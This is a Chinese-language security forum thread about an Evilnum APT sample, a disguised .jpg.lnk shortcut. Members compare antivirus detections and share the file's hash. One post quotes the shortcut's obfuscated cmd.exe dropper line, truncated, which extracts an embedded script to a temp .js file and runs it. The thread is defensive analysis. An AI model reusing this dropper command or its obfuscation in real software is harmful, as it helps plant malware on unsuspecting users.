#Evilnum #APT (2020-12-29)

显示全部楼层 · 发表于 2020-12-29 10:44:58

https://www.virustotal.com/gui/f ... f5c3059a8/detection

https://twitter.com/ShadowChasing1/status/1343744958356852736

显示全部楼层 · 发表于 2020-12-29 10:56:44

卡巴斯基

显示全部楼层 · 发表于 2020-12-29 11:00:48

Norton miss. 因为快捷方式导向cmd，智能分析没啥用，沙盘跑不起来

显示全部楼层 · 发表于 2020-12-29 11:12:11

WD Trojan:Script/Wacatac.B!ml
360 类型:木马-Generic/Trojan.Multi.54c描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
扫描引擎:云安全引擎
文件路径:C:\Users\Ho\Desktop\onboardingdocuments.jpg.lnk
文件大小:1.30M (1,364,052 字节)
文件指纹（MD5）:97dec820bc0f0bc306e3500c70dddb60
数字签名:
数字签名是否有效:无效
处理建议:隔离文件

显示全部楼层 · 发表于 2020-12-29 11:34:31

Avast
IDP杀下载的exe

显示全部楼层 · 发表于 2020-12-29 11:42:16

病毒名称：TrojanDownloader/LNK.Agent.z
病毒ID：7F0A0C874689F406
火绒

显示全部楼层 · 发表于 2020-12-29 11:47:27

Panda

显示全部楼层 · 发表于 2020-12-29 11:48:10

本帖最后由 anthonyqian 于 2020-12-29 11:49 编辑

hsmAllen 发表于 2020-12-29 11:00
Norton miss. 因为快捷方式导向cmd，智能分析没啥用，沙盘跑不起来

用诺顿NPE可以杀zip~

显示全部楼层 · 发表于 2020-12-29 11:53:50

本帖最后由 TimelessTT 于 2020-12-29 11:58 编辑

a233 发表于 2020-12-29 11:34
Avast
IDP杀下载的exe

请问一下这个文件路径是什么呢

显示全部楼层 · 发表于 2020-12-29 11:54:17

haroomini 发表于 2020-12-29 11:12
WD Trojan:Script/Wacatac.B!ml
360 类型:木马-Generic/Trojan.Multi.54c描述:木马是一种伪装成正常文件的 ...

我的没反应。

C:\Windows\System32\cmd.exe /c set d=%cd%& set o=move& (for /d %a in ("%temp%\Rar$*", "%temp%\*.zip") do for %b in ("%a\on*pg*") do cd %a & set o=copy) & set p=csc& type "on*pg*"|find "LINE5">"%temp%\test.js"& set c="%temp%\test."& set v=rip& cmd /c "%o%

[病毒样本] #Evilnum #APT (2020-12-29)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源